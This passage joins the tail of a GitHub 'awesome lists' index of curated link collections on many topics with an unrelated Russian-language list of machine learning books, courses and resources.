- [Terminals Are Sexy](https://github.com/k4m4/terminals-are-sexy#readme)
- [GitHub Actions](https://github.com/sdras/awesome-actions#readme) - Create tasks to automate your workflow and share them with others on GitHub.
## Entertainment
- [Science Fiction](https://github.com/sindresorhus/awesome-scifi#readme) - Scifi.
- [Fantasy](https://github.com/RichardLitt/awesome-fantasy#readme)
- [Podcasts](https://github.com/ayr-ton/awesome-geek-podcasts#readme)
- [Email Newsletters](https://github.com/zudochkin/awesome-newsletters#readme)
- [IT Quotes](https://github.com/victorlaerte/awesome-it-quotes#readme)
## Databases
- [Database](https://github.com/numetriclabz/awesome-db#readme)
- [MySQL](https://github.com/shlomi-noach/awesome-mysql#readme)
- [SQLAlchemy](https://github.com/dahlia/awesome-sqlalchemy#readme)
- [InfluxDB](https://github.com/mark-rushakoff/awesome-influxdb#readme)
- [Neo4j](https://github.com/neueda/awesome-neo4j#readme)
- [MongoDB](https://github.com/ramnes/awesome-mongodb#readme) - NoSQL database.
- [RethinkDB](https://github.com/d3viant0ne/awesome-rethinkdb#readme)
- [TinkerPop](https://github.com/mohataher/awesome-tinkerpop#readme) - Graph computing framework.
- [PostgreSQL](https://github.com/dhamaniasad/awesome-postgres#readme) - Object-relational database.
- [CouchDB](https://github.com/quangv/awesome-couchdb#readme) - Document-oriented NoSQL database.
- [HBase](https://github.com/rayokota/awesome-hbase#readme) - Distributed, scalable, big data store.
- [NoSQL Guides](https://github.com/erictleung/awesome-nosql-guides#readme) - Help on using non-relational, distributed, open-source, and horizontally scalable databases.
## Media
- [Creative Commons Media](https://github.com/shime/creative-commons-media#readme)
- [Fonts](https://github.com/brabadu/awesome-fonts#readme)
- [Codeface](https://github.com/chrissimpkins/codeface#readme) - Text editor fonts.
- [Stock Resources](https://github.com/neutraltone/awesome-stock-resources#readme)
- [GIF](https://github.com/davisonio/awesome-gif#readme) - Image format known for animated images.
- [Music](https://github.com/ciconia/awesome-music#readme)
- [Open Source Documents](https://github.com/hubtee/awesome-opensource-documents#readme)
- [Audio Visualization](https://github.com/willianjusten/awesome-audio-visualization#readme)
- [Broadcasting](https://github.com/ebu/awesome-broadcasting#readme)
- [Pixel Art](https://github.com/Siilwyn/awesome-pixel-art#readme) - Pixel-level digital art.
- [FFmpeg](https://github.com/transitive-bullshit/awesome-ffmpeg#readme) - Cross-platform solution to record, convert and stream audio and video.
- [Icons](https://github.com/notlmn/awesome-icons#readme) - Downloadable SVG/PNG/font icon projects.
## Learn
- [CLI Workshoppers](https://github.com/therebelrobot/awesome-workshopper#readme) - Interactive tutorials.
- [Learn to Program](https://github.com/karlhorky/learn-to-program#readme)
- [Speaking](https://github.com/matteofigus/awesome-speaking#readme)
- [Tech Videos](https://github.com/lucasviola/awesome-tech-videos#readme)
- [Dive into Machine Learning](https://github.com/hangtwenty/dive-into-machine-learning#readme)
- [Computer History](https://github.com/watson/awesome-computer-history#readme)
- [Programming for Kids](https://github.com/HollyAdele/awesome-programming-for-kids#readme)
- [Educational Games](https://github.com/yrgo/awesome-eg#readme) - Learn while playing.
- [JavaScript Learning](https://github.com/micromata/awesome-javascript-learning#readme)
- [CSS Learning](https://github.com/micromata/awesome-css-learning#readme) - Mainly about CSS – the language and the modules.
- [Product Management](https://github.com/dend/awesome-product-management#readme) - Learn how to be a better product manager.
- [Roadmaps](https://github.com/liuchong/awesome-roadmaps#readme) - Gives you a clear route to improve your knowledge and skills.
## Security
- [Application Security](https://github.com/paragonie/awesome-appsec#readme)
- [Security](https://github.com/sbilly/awesome-security#readme)
- [CTF](https://github.com/apsdehal/awesome-ctf#readme) - Capture The Flag.
- [Malware Analysis](https://github.com/rshipp/awesome-malware-analysis#readme)
- [Android Security](https://github.com/ashishb/android-security-awesome#readme)
- [Hacking](https://github.com/carpedm20/awesome-hacking#readme)
- [Honeypots](https://github.com/paralax/awesome-honeypots#readme) - Deception trap, designed to entice an attacker into attempting to compromise the information systems in an organization.
- [Incident Response](https://github.com/meirwah/awesome-incident-response#readme)
- [Vehicle Security and Car Hacking](https://github.com/jaredthecoder/awesome-vehicle-security#readme)
- [Web Security](https://github.com/qazbnm456/awesome-web-security#readme) - Security of web apps & services.
- [Lockpicking](https://github.com/meitar/awesome-lockpicking#readme) - The art of unlocking a lock by manipulating its components without the key.
- [Cybersecurity Blue Team](https://github.com/meitar/awesome-cybersecurity-blueteam#readme) - Groups of individuals who identify security flaws in information technology systems.
- [Fuzzing](https://github.com/cpuu/awesome-fuzzing#readme) - Automated software testing technique that involves feeding pseudo-randomly generated input data.
- [Embedded and IoT Security](https://github.com/fkie-cad/awesome-embedded-and-iot-security#readme)
- [GDPR](https://github.com/bakke92/awesome-gdpr#readme) - Regulation on data protection and privacy for all individuals within EU.
## Content Management Systems
- [Umbraco](https://github.com/umbraco-community/awesome-umbraco#readme)
- [Refinery CMS](https://github.com/refinerycms-contrib/awesome-refinerycms#readme) - Ruby on Rails CMS.
- [Wagtail](https://github.com/springload/awesome-wagtail#readme) - Django CMS focused on flexibility and user experience.
- [Textpattern](https://github.com/drmonkeyninja/awesome-textpattern#readme) - Lightweight PHP-based CMS.
- [Drupal](https://github.com/nirgn975/awesome-drupal#readme) - Extensible PHP-based CMS.
- [Craft CMS](https://github.com/craftcms/awesome#readme) - Content-first CMS.
## Hardware
- [Robotics](https://github.com/Kiloreux/awesome-robotics#readme)
- [Internet of Things](https://github.com/HQarroum/awesome-iot#readme)
- [Electronics](https://github.com/kitspace/awesome-electronics#readme) - For electronic engineers and hobbyists.
- [Bluetooth Beacons](https://github.com/squaremetrics/awesome-beacon#readme)
- [Electric Guitar Specifications](https://github.com/gitfrage/guitarspecs#readme) - Checklist for building your own electric guitar.
## Business
- [Open Companies](https://github.com/opencompany/awesome-open-company#readme)
- [Places to Post Your Startup](https://github.com/mmccaff/PlacesToPostYourStartup#readme)
- [OKR Methodology](https://github.com/domenicosolazzo/awesome-okr#readme) - Goal setting & communication best practices.
- [Leading and Managing](https://github.com/LappleApple/awesome-leading-and-managing#readme) - Leading people and being a manager in a technology company/environment.
- [Indie](https://github.com/mezod/awesome-indie#readme) - Independent developer businesses.
- [Tools of the Trade](https://github.com/cjbarber/ToolsOfTheTrade#readme) - Tools used by companies on Hacker News.
- [Clean Tech](https://github.com/nglgzz/awesome-clean-tech#readme) - Fighting climate change with technology.
- [Wardley Maps](https://github.com/wardley-maps-community/awesome-wardley-maps#readme) - Provides high situational awareness to help improve strategic planning and decision making.
## Work
- [Slack](https://github.com/matiassingers/awesome-slack#readme) - Team collaboration.
- [Communities](https://github.com/filipelinhares/awesome-slack#readme)
- [Remote Jobs](https://github.com/lukasz-madon/awesome-remote-job#readme)
- [Productivity](https://github.com/jyguyomarch/awesome-productivity#readme)
- [Niche Job Boards](https://github.com/tramcar/awesome-job-boards#readme)
- [Programming Interviews](https://github.com/MaximAbramchuck/awesome-interview-questions#readme)
- [Code Review](https://github.com/joho/awesome-code-review#readme) - Reviewing code.
## Networking
- [Software-Defined Networking](https://github.com/sdnds-tw/awesome-sdn#readme)
- [Network Analysis](https://github.com/briatte/awesome-network-analysis#readme)
- [PCAPTools](https://github.com/caesar0301/awesome-pcaptools#readme)
## Decentralized Systems
- [Bitcoin](https://github.com/igorbarinov/awesome-bitcoin#readme) - Bitcoin services and tools for software developers.
- [Ripple](https://github.com/vhpoet/awesome-ripple#readme) - Open source distributed settlement network.
- [Non-Financial Blockchain](https://github.com/machinomy/awesome-non-financial-blockchain#readme) - Non-financial blockchain applications.
- [Mastodon](https://github.com/tleb/awesome-mastodon#readme) - Open source decentralized microblogging network.
- [Ethereum](https://github.com/Tom2718/Awesome-Ethereum#readme) - Distributed computing platform for smart contract development.
- [Blockchain AI](https://github.com/steven2358/awesome-blockchain-ai#readme) - Blockchain projects for artificial intelligence and machine learning.
- [EOSIO](https://github.com/DanailMinchev/awesome-eosio#readme) - A decentralized operating system supporting industrial-scale apps.
## Higher Education
- [Computational Neuroscience](https://github.com/eselkin/awesome-computational-neuroscience#readme) - A multidisciplinary science which uses computational approaches to study the nervous system.
- [Digital History](https://github.com/maehr/awesome-digital-history#readme) - Computer-aided scientific investigation of history.
## Miscellaneous
- [JSON](https://github.com/burningtree/awesome-json#readme) - Text based data interchange format.
- [GeoJSON](https://github.com/tmcw/awesome-geojson#readme)
- [Datasets](https://github.com/jdorfman/awesome-json-datasets#readme)
- [CSV](https://github.com/secretGeek/awesomeCSV#readme) - A text file format that stores tabular data and uses a comma to separate values.
- [Discounts for Student Developers](https://github.com/AchoArnold/discount-for-student-dev#readme)
- [Sysadmin](https://github.com/n1trux/awesome-sysadmin#readme)
- [Radio](https://github.com/kyleterry/awesome-radio#readme)
- [Awesome](https://github.com/sindresorhus/awesome#readme) - Recursion illustrated.
- [Analytics](https://github.com/onurakpolat/awesome-analytics#readme)
- [REST](https://github.com/marmelab/awesome-rest#readme)
- [Selenium](https://github.com/christian-bromann/awesome-selenium#readme)
- [Appium](https://github.com/SrinivasanTarget/awesome-appium#readme) - Test automation tool for apps.
- [Continuous Integration and Continuous Delivery](https://github.com/ciandcd/awesome-ciandcd#readme)
- [Services Engineering](https://github.com/mmcgrana/services-engineering#readme)
- [Free for Developers](https://github.com/ripienaar/free-for-dev#readme)
- [Answers](https://github.com/cyberglot/awesome-answers#readme) - Stack Overflow, Quora, etc.
- [Sketch](https://github.com/diessica/awesome-sketch#readme) - Design app for macOS.
- [Boilerplate Projects](https://github.com/melvin0008/awesome-projects-boilerplates#readme)
- [Readme](https://github.com/matiassingers/awesome-readme#readme)
- [Design and Development Guides](https://github.com/NARKOZ/guides#readme)
- [Software Engineering Blogs](https://github.com/kilimchoi/engineering-blogs#readme)
- [Self Hosted](https://github.com/Kickball/awesome-selfhosted#readme)
- [FOSS Production Apps](https://github.com/DataDaoDe/awesome-foss-apps#readme)
- [Gulp](https://github.com/alferov/awesome-gulp#readme) - Task runner.
- [AMA](https://github.com/sindresorhus/amas#readme) - Ask Me Anything.
- [Answers](https://github.com/stoeffel/awesome-ama-answers#readme)
- [Open Source Photography](https://github.com/ibaaj/awesome-OpenSourcePhotography#readme)
- [OpenGL](https://github.com/eug/awesome-opengl#readme) - Cross-platform API for rendering 2D and 3D graphics.
- [GraphQL](https://github.com/chentsulin/awesome-graphql#readme)
- [Transit](https://github.com/CUTR-at-USF/awesome-transit#readme)
- [Research Tools](https://github.com/emptymalei/awesome-research#readme)
- [Data Visualization](https://github.com/fasouto/awesome-dataviz#readme)
- [Social Media Share Links](https://github.com/vinkla/shareable-links#readme)
- [Microservices](https://github.com/mfornos/awesome-microservices#readme)
- [Unicode](https://github.com/Wisdom/Awesome-Unicode#readme) - Unicode standards, quirks, packages and resources.
- [Code Points](https://github.com/Codepoints/awesome-codepoints#readme)
- [Beginner-Friendly Projects](https://github.com/MunGell/awesome-for-beginners#readme)
- [Katas](https://github.com/gamontal/awesome-katas#readme)
- [Tools for Activism](https://github.com/drewrwilson/toolsforactivism#readme)
- [Citizen Science](https://github.com/dylanrees/citizen-science#readme) - For community-based and non-institutional scientists.
- [TAP](https://github.com/sindresorhus/awesome-tap#readme) - Test Anything Protocol.
- [MQTT](https://github.com/hobbyquaker/awesome-mqtt#readme) - "Internet of Things" connectivity protocol.
- [Hacking Spots](https://github.com/daviddias/awesome-hacking-locations#readme)
- [For Girls](https://github.com/cristianoliveira/awesome4girls#readme)
- [Vorpal](https://github.com/vorpaljs/awesome-vorpal#readme) - Node.js CLI framework.
- [Vulkan](https://github.com/vinjn/awesome-vulkan#readme) - Low-overhead, cross-platform 3D graphics and compute API.
- [LaTeX](https://github.com/egeerardyn/awesome-LaTeX#readme) - Typesetting language.
- [Economics](https://github.com/antontarasenko/awesome-economics#readme) - An economist's starter kit.
- [Funny Markov Chains](https://github.com/sublimino/awesome-funny-markov#readme)
- [Bioinformatics](https://github.com/danielecook/Awesome-Bioinformatics#readme)
- [Cheminformatics](https://github.com/hsiaoyi0504/awesome-cheminformatics#readme) - Informatics techniques applied to problems in chemistry.
- [Colorful](https://github.com/Siddharth11/Colorful#readme) - Choose your next color scheme.
- [Steam](https://github.com/scholtzm/awesome-steam#readme) - Digital distribution platform.
- [Bots](https://github.com/hackerkid/bots#readme) - Building bots.
- [Site Reliability Engineering](https://github.com/dastergon/awesome-sre#readme)
- [Empathy in Engineering](https://github.com/KimberlyMunoz/empathy-in-engineering#readme) - Building and promoting more compassionate engineering cultures.
- [DTrace](https://github.com/xen0l/awesome-dtrace#readme) - Dynamic tracing framework.
- [Userscripts](https://github.com/brunocvcunha/awesome-userscripts#readme) - Enhance your browsing experience.
- [Pokémon](https://github.com/tobiasbueschel/awesome-pokemon#readme) - Pokémon and Pokémon GO.
- [ChatOps](https://github.com/exAspArk/awesome-chatops#readme) - Managing technical and business operations through a chat.
- [Falsehood](https://github.com/kdeldycke/awesome-falsehood#readme) - Falsehoods programmers believe in.
- [Domain-Driven Design](https://github.com/heynickc/awesome-ddd#readme) - Software development approach for complex needs by connecting the implementation to an evolving model.
- [Quantified Self](https://github.com/woop/awesome-quantified-self#readme) - Self-tracking through technology.
- [SaltStack](https://github.com/hbokh/awesome-saltstack#readme) - Python-based config management system.
- [Web Design](https://github.com/nicolesaidy/awesome-web-design#readme) - For digital designers.
- [JMeter](https://github.com/aliesbelik/awesome-jmeter#readme) - Load testing and performance measurement tool.
- [Creative Coding](https://github.com/terkelg/awesome-creative-coding#readme) - Programming something expressive instead of something functional.
- [No-Login Web Apps](https://github.com/aviaryan/awesome-no-login-web-apps#readme) - Web apps that work without login.
- [Testing](https://github.com/TheJambo/awesome-testing#readme) - Software testing.
- [Free Software](https://github.com/johnjago/awesome-free-software#readme) - Free as in freedom.
- [Framer](https://github.com/podo/awesome-framer#readme) - Prototyping interactive UI designs.
- [Markdown](https://github.com/BubuAnabelas/awesome-markdown#readme) - Markup language.
- [Dev Fun](https://github.com/mislavcimpersak/awesome-dev-fun#readme) - Funny developer projects.
- [Events in Italy](https://github.com/ildoc/awesome-italy-events#readme) - Tech-related events in Italy.
- [Events in the Netherlands](https://github.com/awkward/awesome-netherlands-events#readme) - Tech-related events in the Netherlands.
- [Healthcare](https://github.com/kakoni/awesome-healthcare#readme) - Open source healthcare software for facilities, providers, developers, policy experts, and researchers.
- [Magento 2](https://github.com/DavidLambauer/awesome-magento2#readme) - Open Source eCommerce built with PHP.
- [TikZ](https://github.com/xiaohanyu/awesome-tikz#readme) - Graph drawing packages for TeX/LaTeX/ConTeXt.
- [Neuroscience](https://github.com/analyticalmonk/awesome-neuroscience#readme) - Study of the nervous system and brain.
- [Ad-Free](https://github.com/johnjago/awesome-ad-free#readme) - Ad-free alternatives.
- [Esolangs](https://github.com/angrykoala/awesome-esolangs#readme) - Programming languages designed for experimentation or as jokes rather than actual use.
- [Prometheus](https://github.com/roaldnefs/awesome-prometheus#readme) - Open-source monitoring system.
- [Homematic](https://github.com/hobbyquaker/awesome-homematic#readme) - Smart home devices.
- [Ledger](https://github.com/sfischer13/awesome-ledger#readme) - Double-entry accounting on the command-line.
- [Uncopyright](https://github.com/johnjago/awesome-uncopyright#readme) - Public domain works.
- [Crypto Currency Tools & Algorithms](https://github.com/Zheaoli/awesome-coins#readme) - Digital currency where encryption is used to regulate the generation of units and verify transfers.
- [Diversity](https://github.com/folkswhocode/awesome-diversity#readme) - Creating a more inclusive and diverse tech community.
- [Open Source Supporters](https://github.com/zachflower/awesome-open-source-supporters#readme) - Companies that offer their tools and services for free to open source projects.
- [Design Principles](https://github.com/robinstickel/awesome-design-principles#readme) - Create better and more consistent designs and experiences.
- [Visual Regression Testing](https://github.com/mojoaxel/awesome-regression-testing#readme) - Ensures changes did not break the functionality or style.
- [Theravada](https://github.com/johnjago/awesome-theravada#readme) - Teachings from the Theravada Buddhist tradition.
- [inspectIT](https://github.com/inspectit-labs/awesome-inspectit#readme) - Open source Java app performance management tool.
- [Open Source Maintainers](https://github.com/nayafia/awesome-maintainers#readme) - The experience of being an open source maintainer.
- [Calculators](https://github.com/xxczaki/awesome-calculators#readme) - Calculators for every platform.
- [Captcha](https://github.com/ZYSzys/awesome-captcha#readme) - A type of challenge–response test used in computing to determine whether or not the user is human.
- [Jupyter](https://github.com/markusschanta/awesome-jupyter#readme) - Create and share documents that contain code, equations, visualizations and narrative text.
- [FIRST Robotics Competition](https://github.com/andrewda/awesome-frc#readme) - International high school robotics championship.
- [Humane Technology](https://github.com/humanetech-community/awesome-humane-tech#readme) - Open source projects that help improve society.
- [Speakers](https://github.com/karlhorky/awesome-speakers#readme) - Conference and meetup speakers in the programming and design community.
- [Board Games](https://github.com/edm00se/awesome-board-games#readme) - Table-top gaming fun for all.
- [Software Patreons](https://github.com/uraimo/awesome-software-patreons#readme) - Fund individual programmers or the development of open source projects.
- [Parasite](https://github.com/ecohealthalliance/awesome-parasite#readme) - Parasites and host-pathogen interactions.
- [Food](https://github.com/jzarca01/awesome-food#readme) - Food-related projects on GitHub.
- [Mental Health](https://github.com/dreamingechoes/awesome-mental-health#readme) - Mental health awareness and self-care in the software industry.
- [Bitcoin Payment Processors](https://github.com/alexk111/awesome-bitcoin-payment-processors#readme) - Start accepting Bitcoin.
- [Scientific Computing](https://github.com/nschloe/awesome-scientific-computing#readme) - Solving complex scientific problems using computers.
- [Amazon Sellers](https://github.com/ScaleLeap/awesome-amazon-seller#readme)
- [Agriculture](https://github.com/beaorn/awesome-agriculture#readme) - Open source technology for farming and gardening.
- [Plotters](https://github.com/beardicus/awesome-plotters#readme) - Computer-controlled drawing machines and other visual art robots.
- [Product Design](https://github.com/teoga/awesome-product-design#readme) - Design a product from the initial concept to production.
- [Prisma](https://github.com/catalinmiron/awesome-prisma#readme) - Turn your database into a GraphQL API.
- [Software Architecture](https://github.com/simskij/awesome-software-architecture#readme) - The discipline of designing and building software.
- [Connectivity Data and Reports](https://github.com/stevesong/awesome-connectivity-info#readme) - Better understand who has access to telecommunication and internet infrastructure and on what terms.
- [Stacks](https://github.com/stackshareio/awesome-stacks#readme) - Tech stacks for building different apps and features.
- [Cytodata](https://github.com/cytodata/awesome-cytodata#readme) - Image-based profiling of biological phenotypes for computational biologists.
- [IRC](https://github.com/davisonio/awesome-irc#readme) - Open source messaging protocol.
- [Advertising](https://github.com/cenoura/awesome-ads#readme) - Advertising and programmatic media for websites.
- [Earth](https://github.com/philsturgeon/awesome-earth#readme) - Find ways to resolve the climate crisis.
- [Naming](https://github.com/gruhn/awesome-naming#readme) - Naming things in computer science done right.
- [Biomedical Information Extraction](https://github.com/caufieldjh/awesome-bioie#readme) - How to extract information from unstructured biomedical data and text.
## Related
- [Awesome Indexed](https://awesome-indexed.mathew-davies.co.uk) - Search the Awesome dataset.
- [Awesome Search](https://awesomelists.top) - Quick search for Awesome lists.
|
# Машинное обучение
Постоянно обновляемая подборка ресурсов по машинному обучению.
#### Оглавление
* [Библиотека ML-специалиста](#Библиотека-ml-специалиста) + выбор редакции:
* [Дополнительные материалы](https://gist.github.com/demidovakatya/cef3d462bcf56b84f56950ea490a9e8e) к курсу «Введение в машинное обучение»
* [Рекомендации](https://gist.github.com/demidovakatya/61e15717a9eefae0bd237b7fd959d166) от преподавателей специализации «Машинное обучение и анализ данных»
* [Литература для поступления в ШАД](https://gist.github.com/demidovakatya/873e4dd6f1c6652ac842)
* [Подборка научпоп-книг](https://bookmate.com/bookshelves/Nggk0rBi)
* По темам:
* [Big Data](/big-data.md)
* [Dataviz](/dataviz.md)
* [LaTeX](/latex.md)
* [NLP](/nlp.md)
* [Python, IPython, Scikit-learn etc](/python.md)
* [R](/r.md)
* [Алгоритмы](/algorithms.md)
* [Линейная алгебра](/linalg.md)
* [Нейронные сети, Deep learning](/neural-nets.md)
* [Статистика и теория вероятностей](/probability-statistics.md)
* [Онлайн-курсы (MOOC)](#Онлайн-курсы-mooc)
* [Чаты/паблики/каналы про ML](#social)
----------------------------------------------------
* [Календарь соревнований по анализу данных](https://mltrainings.ru/?filter=active)
* [Машинное обучение: вводная лекция](http://www.machinelearning.ru/wiki/images/f/fc/Voron-ML-Intro-slides.pdf) – К. В. Воронцов
* [Lecture notes and code for Machine Learning practical course on CMC MSU](https://github.com/esokolov/ml-course-msu)
* [100+ Free Data Science Books](https://www.learndatasci.com/free-data-science-books/) – более 100 бесплатных книг по Data Science
* [Free O'Reilly data science ebooks](https://www.oreilly.com/data/free/archive.html)
* [100 репозиториев по машинному обучению](http://meta-guide.com/software-meta-guide/100-best-github-machine-learning)
* [awesome-machine-learning](https://github.com/josephmisiti/awesome-machine-learning) — A curated list of awesome Machine Learning frameworks, libraries and software
* [Open Source Society University's Data Science course](https://github.com/ossu/data-science) – this is a solid path for those of you who want to complete a Data Science course on your own time, for free, with courses from the best universities in the World
* [Доска по data science в Trello](https://trello.com/b/rbpEfMld/data-science) — проверенные материалы, организованные по темам (expertise tracks, языки программирования, различные инструменты)
* [Machine Learning Resource Guide](https://www.pdf-archive.com/2017/09/02/machine-learning-resource-guide/machine-learning-resource-guide.pdf)
* [17 ресурсов по машинному обучению от Типичного Программиста](https://tproger.ru/articles/free-programming-books/#machine-learning)
* [51 toy data problem in Data Science](https://www.quora.com/Data-Science/What-are-some-good-toy-problems-can-be-done-over-a-weekend-by-a-single-coder-in-data-science-Im-studying-machine-learning-and-statistics-and-looking-for-something-socially-relevant-using-publicly-available-datasets-APIs/answer/Alex-Kamil)
* [practical-pandas-projects](https://github.com/schlende/practical-pandas-projects) — project ideas for improving one's Python data analysis skills
* [Dive into Machine Learning](https://hangtwenty.github.io/dive-into-machine-learning/)
* :octocat: [Dive into Machine Learning repo on github](https://github.com/hangtwenty/dive-into-machine-learning)
* [Data Science Interview Questions](https://www.itshared.org/2015/10/data-science-interview-questions.html) — огромный список вопросов для подготовки к интервью на позицию data scientist'а
* [Много книг по Natural Language Processing](https://www.dropbox.com/sh/b1c2ulwua9zy574/AACswS1E0IB9LdPDxQ6fexm4a?dl=0)
* [Список открытых источников данных, на которых можно найти бесплатные датасеты](/datasets.md)
* [What should I learn in data science in 100 hours?](https://www.quora.com/What-should-I-learn-in-data-science-in-100-hours-I-am-free-for-the-next-10-days-and-would-like-to-learn-whatever-I-can-in-the-next-10-days-and-I-can-put-in-10-hours-a-day-What-can-I-learn-to-get-a-hang-of-it-and-get-started/answer/Roman-Trusov)
* [machine-learning-for-software-engineers](https://github.com/ZuzooVn/machine-learning-for-software-engineers) — A complete daily plan for studying to become a machine learning engineer
* [Tutorials on topics in machine learning](https://homepages.inf.ed.ac.uk/rbf/IAPR/researchers/MLPAGES/mltut.htm)
* [Постоянно обновляющаяся подборка ссылок по датасаенсу](https://docs.google.com/spreadsheets/d/1dXghGL0hH6gs3H9Km7zhOpk9MWufRJ_bSrFw0NLaRuo/edit#gid=0)
* [Teach yourself Machine Learning the hard way!](https://darshanhegde.wordpress.com/2014/08/19/learn-machine-learning-the-hard-way/)
* [An article a week](https://github.com/shagunsodhani/papers-I-read) – list of good articles on ML/AI/DL
* [The most popular programming books ever mentioned on StackOverflow](https://medium.freecodecamp.org/i-analyzed-every-book-ever-mentioned-on-stack-overflow-here-are-the-most-popular-ones-eee0891f1786)
* [Cookiecutter Data Science](https://drivendata.github.io/cookiecutter-data-science/) – A logical, reasonably standardized, but flexible project structure for doing and sharing data science work
* [awesome-datascience-ideas](https://github.com/faktionai/awesome-ai-usecases) – A list of awesome and proven data science use cases and applications
* [machine-learning-surveys](https://github.com/mlreview/machine-learning-surveys) – A curated list of Machine Learning Surveys, Tutorials and Books
* [A hands-on data science crash course in Python by Bart De Vylder and Pieter Buteneers from CoScale](https://github.com/bartdevylder/velocity-tutorial-san-jose)
* [docker-setup](https://github.com/yang-zhang/docker-setup) – A Curated List of Docker Images for Data Science Projects, with Easy Setup
* [Notes on Artificial Intelligence](https://frnsys.com/ai_notes/) – конспекты по разным ML-related темам, от алгебры до Байеса
----------------------------------------------------
## Библиотека ML-специалиста
* [A Course in Machine Learning](http://ciml.info) – Hal Daumé III
* [A Probabilistic Theory of Pattern Recognition](https://www.szit.bme.hu/%7Egyorfi/pbook.pdf) – Devroye, Gyorfi, Lugosi (pdf)
* [Applied Predictive Modeling](https://www.springer.com/us/book/9781461468486) – M. Kuhn, K. Johnson (2013)
* [Bayesian Reasoning and Machine Learning](http://web4.cs.ucl.ac.uk/staff/D.Barber/textbook/181115.pdf) - D.Barber (2015) (pdf)
* [Core Concepts in Data Analysis: Summarization, Correlation and Visualization](https://www.springer.com/us/book/9780857292865) – Boris Mirkin
* [Data Mining and Analysis. Fundamental Concepts and Algorithms](https://repo.palkeo.com/algo/information-retrieval/Data%20mining%20and%20analysis.pdf) – M.J.Zaki, W.Meira Jr (2014) (pdf)
* [Data Mining: Concepts and Techniques](https://www.sciencedirect.com/book/9780123814791/data-mining-concepts-and-techniques) – Jiawei Han et. al.
* [Data Science For Dummies](https://www.geekbooks.me/book/view/data-science-for-dummies) – Lillian Pierson (2015)
* [Doing Data Science](http://shop.oreilly.com/product/0636920028529.do)
* [Elements of Statistical Learning](https://www-stat.stanford.edu/~tibs/ElemStatLearn/printings/ESLII_print10.pdf) – Hastie, Tibshirani, Friedman (pdf)
* [Foundations of Machine Learning](https://cs.nyu.edu/~mohri/mlbook/) – Mehryar Mohri, Afshin Rostamizadeh, and Ameet Talwalkar (2012)
* [Frequent Pattern Mining](http://www.charuaggarwal.net/freqbook.pdf) – Charu C Aggarwal, Jiawei Han (eds.) (pdf)
* [Gaussian Processes for Machine Learning](http://www.gaussianprocess.org/gpml/chapters/RW.pdf) – Carl E. Rasmugit lssen, Christopher K. I. Williams (pdf)
* [Inductive Logic Programming: Techniques and Applications](http://www.e-booksdirectory.com/details.php?ebook=1105) – Nada Lavrac, Saso Dzeroski
* [Information Theory, Inference and Learning Algorithms](http://www.inference.phy.cam.ac.uk/itila/book.html) – David MacKay
* [Introduction to Information Retrieval](https://nlp.stanford.edu/IR-book/pdf/irbookprint.pdf) – Manning, Rhagavan, Shutze (pdf)
* [Introduction To Machine Learning](http://www.e-booksdirectory.com/details.php?ebook=1117) – Nils J Nilsson (1997)
* [Introduction to Machine Learning](https://alex.smola.org/drafts/thebook.pdf) – Smola and Vishwanathan (pdf)
* [Machine learning cheat sheet](https://github.com/soulmachine/machine-learning-cheat-sheet/raw/master/machine-learning-cheat-sheet.pdf) – soulmachine (2017) (pdf)
* [Machine Learning in Action](https://www.manning.com/books/machine-learning-in-action) – Peter Harrington
* [Machine Learning, Neural and Statistical Classification](http://www.e-booksdirectory.com/details.php?ebook=1118) – D. Michie, D. J. Spiegelhalter
* [Machine Learning. The Art of Science of Algorithms that Make Sense of Data](https://www.amazon.com/Machine-Learning-Science-Algorithms-Sense/dp/1107422221/) – P. Flach (2012)
* [Machine Learning](http://profsite.um.ac.ir/~monsefi/machine-learning/pdf/Machine-Learning-Tom-Mitchell.pdf) – Tom Mitchell
* [Machine Learning](https://www.mlyearning.org/) – Andrew Ng
* [Mining Massive Datasets](http://www.mmds.org/) – Jure Leskovec, Anand Rajaraman, Jeff Ullman
* [Pattern Recognition and Machine Learning](https://www.amazon.com/Pattern-Recognition-Learning-Information-Statistics/dp/0387310738/) – C.M.Bishop (2006)
* [Probabilistic Programming and Bayesian Methods for Hackers](https://camdavidsonpilon.github.io/Probabilistic-Programming-and-Bayesian-Methods-for-Hackers/) (free)
* [A Programmer's Guide to Data Mining](http://guidetodatamining.com/assets/guideChapters/Guide2DataMining.pdf) – Ron Zacharski (pdf)
* [R in Action](https://www.manning.com/books/r-in-action)
* [Reinforcement Learning: An Introduction](http://www.e-booksdirectory.com/details.php?ebook=1825) - Richard S. Sutton, Andrew G. Barto
* [The LION Way Machine Learning plus Intelligent Optimization](https://intelligent-optimization.org/LIONbook/lionbook_3v0.pdf) (pdf)
* [Understanding Machine Learning: From Theory to Algorithms](https://www.cs.huji.ac.il/%7Eshais/UnderstandingMachineLearning/copy.html)
* [Анализ больших наборов данных](https://dmkpress.com/catalog/computer/data/978-5-97060-190-7/) – перевод Mining Massive Datasets
* [Математические методы обучения по прецедентам (теория обучения машин)](http://www.machinelearning.ru/wiki/images/6/6d/Voron-ML-1.pdf) – К. В. Воронцов (pdf)
* [Машинное обучение](https://www.pdf-archive.com/2017/09/02/machine-learning-ru-flach-p/machine-learning-ru-flach-p.pdf) — Петер Флах (pdf)
* [Методы ансамблирования обучающихся алгоритмов](http://www.machinelearning.ru/wiki/images/5/56/Guschin2015Stacking.pdf) — диссертация А. Гущина (pdf)
----------------------------------------------------
## Онлайн-курсы (MOOC)
* [Перечень лучших курсов по практически любым областям математики](https://www.quora.com/What-are-the-best-online-college-level-mathematics-courses)
* [Тонна разнообразных курсов по программированию, алгоритмам, в том числе 29 курсов по ML](https://github.com/prakhar1989/awesome-courses)
* Coursera:
* [CS229: Machine Learning (Andrew Ng, Stanford University)](https://www.coursera.org/learn/machine-learning) – самый популярный курс по машинному обучению (осторожно, вместо стандартных Питона или R – Matlab/Octave)
* Специализация [Машинное обучение и Анализ данных (Яндекс + МФТИ/MIPT)](https://www.coursera.org/specializations/machine-learning-data-analysis)
* :octocat: [мой репозиторий по этой специализации](https://github.com/demidovakatya/mashinnoye-obucheniye)
* [Machine Learning Foundations: A Case Study Approach (University of Washington)](https://www.coursera.org/learn/ml-foundations/)
* [Data Mining Specialization](https://www.coursera.org/specializations/data-mining)
* [Data Science at Scale Specialization (University of Washington)](https://www.coursera.org/specializations/data-science)
* [Calculus: Single Variable Part 1 (University of Pennsylvania)](https://www.coursera.org/learn/single-variable-calculus)
* [Современная комбинаторика (А.М. Райгородский, МФТИ/MIPT)](https://www.coursera.org/learn/modern-combinatorics)
* [Теория вероятностей для начинающих (А.М. Райгородский, МФТИ/MIPT)](https://www.coursera.org/learn/probability-theory-basics/)
